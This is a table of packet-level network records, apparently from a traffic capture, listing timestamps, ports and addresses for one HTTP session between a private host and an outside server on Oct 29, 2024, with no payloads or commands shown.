Oct 29, 2024 20:35:43.652221918 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652292013 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652304888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652317047 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652385950 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.652714014 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652725935 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652736902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652749062 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652761936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652775049 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652781963 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.652781963 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.652787924 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652801037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652812958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652827978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.652882099 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.652882099 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.652882099 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.653501034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653512955 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653523922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653536081 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653547049 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653558969 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653570890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653582096 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653594971 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653608084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653619051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653623104 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.653623104 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.653631926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.653644085 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.653656960 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.653688908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.654268980 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654282093 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654293060 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654304028 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654316902 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654328108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654340029 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654351950 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654366016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654377937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654390097 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654401064 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.654423952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.654423952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.654423952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.654423952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.654464960 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.655097961 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.655112028 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.655122995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.655134916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.655145884 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.655210972 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.655210972 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.686291933 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686388969 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686402082 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686544895 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686552048 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.686561108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686572075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686584949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686595917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.686651945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687261105 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687273026 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687284946 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687297106 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687310934 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687335968 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687361002 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687422991 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687434912 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687446117 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687457085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687469959 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687491894 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687514067 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687568903 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687580109 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687585115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687594891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687661886 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687695980 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687717915 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687757969 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687771082 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687784910 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687797070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687808037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687819958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687832117 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687843084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687855005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687861919 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687861919 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687866926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.687910080 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.687910080 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.688431978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688446045 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688457012 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688467979 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688481092 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688492060 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688497066 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688503981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688508987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688514948 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688520908 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688522100 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.688532114 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.688610077 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.688730955 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.689013004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.689024925 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.689037085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.689071894 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.726982117 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.727046013 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.727060080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.727078915 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.727138042 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.729836941 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.729888916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.729963064 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.730005026 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.730046034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.730057955 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.730160952 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.730178118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.730231047 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.756748915 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.756773949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.756784916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.756896019 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.756918907 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.756992102 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.757003069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.757050037 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.765609980 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.765719891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.765733004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.765778065 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.765846968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.765861034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766030073 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766205072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766309977 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766511917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766527891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766541004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766552925 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766567945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766601086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766612053 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766628027 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766645908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766668081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766839981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766854048 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766870022 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766884089 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766895056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766901016 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.766907930 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.766933918 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.767322063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767338037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767349958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767383099 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.767415047 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.767451048 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767585993 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767599106 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767712116 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.767724037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767735958 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767748117 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767757893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.767781019 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.767796040 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.768089056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768105030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768111944 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768132925 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.768173933 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.768234968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768249035 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768260956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768271923 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768282890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768302917 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.768322945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.768563032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768573999 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768579960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768585920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768590927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768598080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768603086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768610001 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.768691063 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769171953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769184113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769193888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769207001 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769217968 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769221067 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769232035 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769243002 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769244909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769280910 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769314051 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769665956 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769678116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769689083 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769701004 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769714117 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769725084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769738913 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.769742012 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769742012 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.769815922 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.770270109 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770286083 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770299911 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770312071 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770324945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770335913 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770349026 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770360947 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770374060 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.770376921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770387888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.770443916 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.770443916 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.770443916 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.801920891 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.801973104 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802001953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802014112 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802092075 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802129030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802141905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802153111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802165985 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802233934 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802233934 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802403927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802416086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802433968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802454948 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802655935 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802668095 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802679062 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802691936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802702904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802712917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802719116 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802723885 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802736044 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802748919 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.802764893 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802764893 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.802815914 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.803338051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803349972 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803361893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803374052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803385973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803463936 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.803663015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803674936 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803685904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803697109 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803709030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803721905 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.803745031 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.803745031 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.803766012 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.804184914 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804195881 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804208040 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804219961 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804231882 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804244041 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804255962 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804258108 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.804266930 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804279089 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804290056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804295063 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.804301977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804313898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.804383993 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.804383993 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.804383993 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.805095911 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805108070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805118084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805130959 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805143118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805154085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805166006 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805176973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.805203915 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.805203915 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.805258036 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.842216015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.842257023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.842269897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.842286110 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.842345953 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.845689058 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.845716953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.845727921 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.845828056 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.845843077 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.846029997 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.846051931 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.846100092 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.847572088 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.872195005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.872282028 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.872293949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.872369051 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.872396946 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.872409105 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.872447014 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.872528076 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:43.873483896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:43.881103039 CET	80	49873	185.215.113.16	192.168.2.7
